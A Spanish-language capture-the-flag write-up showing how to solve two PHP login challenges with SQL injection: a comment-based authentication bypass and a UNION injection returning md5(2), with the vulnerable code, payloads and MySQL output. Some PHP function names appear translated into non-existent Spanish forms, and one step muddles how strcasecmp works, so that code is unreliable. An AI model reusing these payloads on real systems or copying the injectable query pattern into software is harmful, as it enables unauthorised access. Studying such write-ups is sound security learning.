Inyección SQL en Desafíos CTF

Desafío 1: Bypass de Autenticación

Al examinar el código fuente proporcionado, podemos identificar la siguiente lógica vulnerable:

<?php
if($_POST[usuario] && $_POST[contrasena]) {      // Verifica que usuario y contraseña no estén vacíos
mysql_conexion(HOST_BD . ':' . PUERTO_BD, USUARIO_BD, CONTRASENA_BD);        // Conexión a la base de datos
  mysql_seleccionar_base_datos(NOMBRE_BD);    // Selecciona la base de datos
  $usuario = trim($_POST[usuario]);       // Elimina espacios en blanco del usuario
  $contrasena = md5(trim($_POST[contrasena]));  // Elimina espacios y aplica hash MD5
  $consulta="select usuario from ctf where (usuario='".$usuario."') and (pw='".$contrasena."')";    // Construye la consulta SQL
    echo '</br>'.$consulta;  // Muestra la consulta generada
  $resultado = mysql_fetch_array(mysql_query($consulta));    // Ejecuta la consulta y obtiene resultados
  if($resultado[usuario]=="admin") {
      echo "<p>¡Sesión iniciada! Bandera:******************** </p>";
  }
  if($resultado[usuario] != "admin") {
    echo("<p>¡No eres administrador!</p>");
  }         // Verifica si el resultado es el usuario admin
}
echo $resultado[usuario];      // Muestra el usuario obtenido
?>

Mediante el análisis del código, sabemos que el valor de usuario debe ser admin. Dado que la consulta SQL utiliza un operador AND, ambas condiciones deben ser verdaderas. Sin conocer el valor correcto de contrasena, podemos intentar modificar la consulta para omitir la verificación de contraseña.

La solución consiste en cerrar la condición del usuario y comentar el resto de la consulta. Al ingresar 111 como contraseña, la consulta final sería:

select usuario from ctf where (usuario='admin') #') and (pw='111')

Al enviar esta consulta, obtenemos acceso al sistema y la bandera correspondiente.

Comentarios en MySQL

Existen tres tipos de comentarios en MySQL:

  1. /* */ - Comenta un bloque de código, no es útil en este caso.
  2. -- - Comenta desde -- hasta el final de la línea, requiere un espacio después. La función trim() elimina estos espacios, por lo que no es aplicable.
  3. # - Comenta desde # hasta el final de la línea, sí es aplicable.

Desafío 2: Explotación mediante UNION

Al revisar el código fuente del segundo desafío:

<?php
if($_POST[usuario] && $_POST[contrasena]) {
   mysql_conexion(HOST_BD . ':' . PUERTO_BD, USUARIO_BD, CONTRASENA_BD);
  mysql_seleccionar_base_datos(NOMBRE_BD);
  $usuario = $_POST[usuario];
  $contrasena = md5($_POST[contrasena]);
  $consulta = @mysql_fetch_array(mysql_query("select pw from ctf where usuario='$usuario'"));
  if (($consulta[pw]) && (!strcasecmp($contrasena, $consulta[pw]))) {
      echo "<p>¡Sesión iniciada! Clave: ntcf{**************} </p>";
  }
  else {
    echo("<p>¡Inicio de sesión fallido!</p>");
  }
}
?>

La lógica crítica a analizar es:

if (($consulta[pw]) && (!strcasecmp($contrasena, $consulta[pw]))) {
      echo "<p>¡Sesión iniciada! Clave: ntcf{**************} </p>";
  }
  else {
    echo("<p>¡Inicio de sesión fallido!</p>");
  }

Estrategia de Solución

  1. El código solo compara la contraseña, sin verificar el usuario. Debemos hacer que $consulta[pw] exista y que strcasecmp($contrasena, $consulta[pw]) devuelva falso.
  2. $consulta[pw] es el resultado de la consulta MySQL. Podemos usar una consulta UNION para devolver un valor controlado.
  3. Para que strcasecmp() devuelva falso, necesitamos que $contrasena sea menor o igual que $consulta[pw] en valor ASCII. Como $contrasena es un hash MD5 de 32 caracteres, intentaremos construir $consulta[pw] como un hash MD5 mayor que el nuestro.

Construcción de la inyección:

select pw from ctf where usuario=''union select md5(2)#'

Esta consulta cierra la condición del usuario (quedando vacía) y añade una consulta UNION que devuelve el hash MD5 de "2". El resultado sería:

+----------------------------------+
| pw                               |
+----------------------------------+
| c81e728d9d4c2f636f067f89cc14862c |
+----------------------------------+

Al ingresar "2" como contraseña, el hash MD5 coincide y la comparación strcasecmp() devuelve 0, permitiendo el acceso.

Información Adicional

Función strcasecmp()

strcasecmp(str1, str2) compara dos cadenas basándose en sus valores ASCII. Comienza desde el primer carácter, y si encuentra una diferencia, devuleve la diferencia entre los valores ASCII de los caracteres donde ocurrió la primera disparidad.

Consultas UNION

En consultas UNION, la primera consulta determina los nombres de columna del resultado. Las consultas posteriores solo devuelven los valores de las columnas consultadas, sin nombres.

Ejemplo con columnas coincidentes:

mysql> select id from tabla1;
+------+
| id   |
+------+
|    1 |
+------+
1 fila en el conjunto de resultados (0.00 seg)

mysql> select id from tabla2;
+------+
| id   |
+------+
| NULL |
|   10 |
+------+
2 filas en el conjunto de resultados (0.00 seg)

mysql> select id from tabla1 union select id from tabla2;
+------+
| id   |
+------+
|    1 |
| NULL |
|   10 |
+------+
3 filas en el conjunto de resultados (0.00 seg)

Ejemplo con columnas no coincidentes:

mysql> select id from tabla1;
+------+
| id   |
+------+
|    1 |
+------+
1 fila en el conjunto de resultados (0.00 seg)

mysql> select contrasena from tabla2;
+-----------+
| contrasena|
+-----------+
| 000000    |
| 1000000   |
+-----------+
2 filas en el conjunto de resultados (0.00 seg)

mysql> select id from tabla1 union select contrasena from tabla2;
+-----------+
| id        |
+-----------+
| 1         |
| 000000    |
| 1000000   |
+-----------+
3 filas en el conjunto de resultados (0.00 seg)

Etiquetas: inyección SQL ctf MySQL UNION PHP

Publicado el 6-4 16:14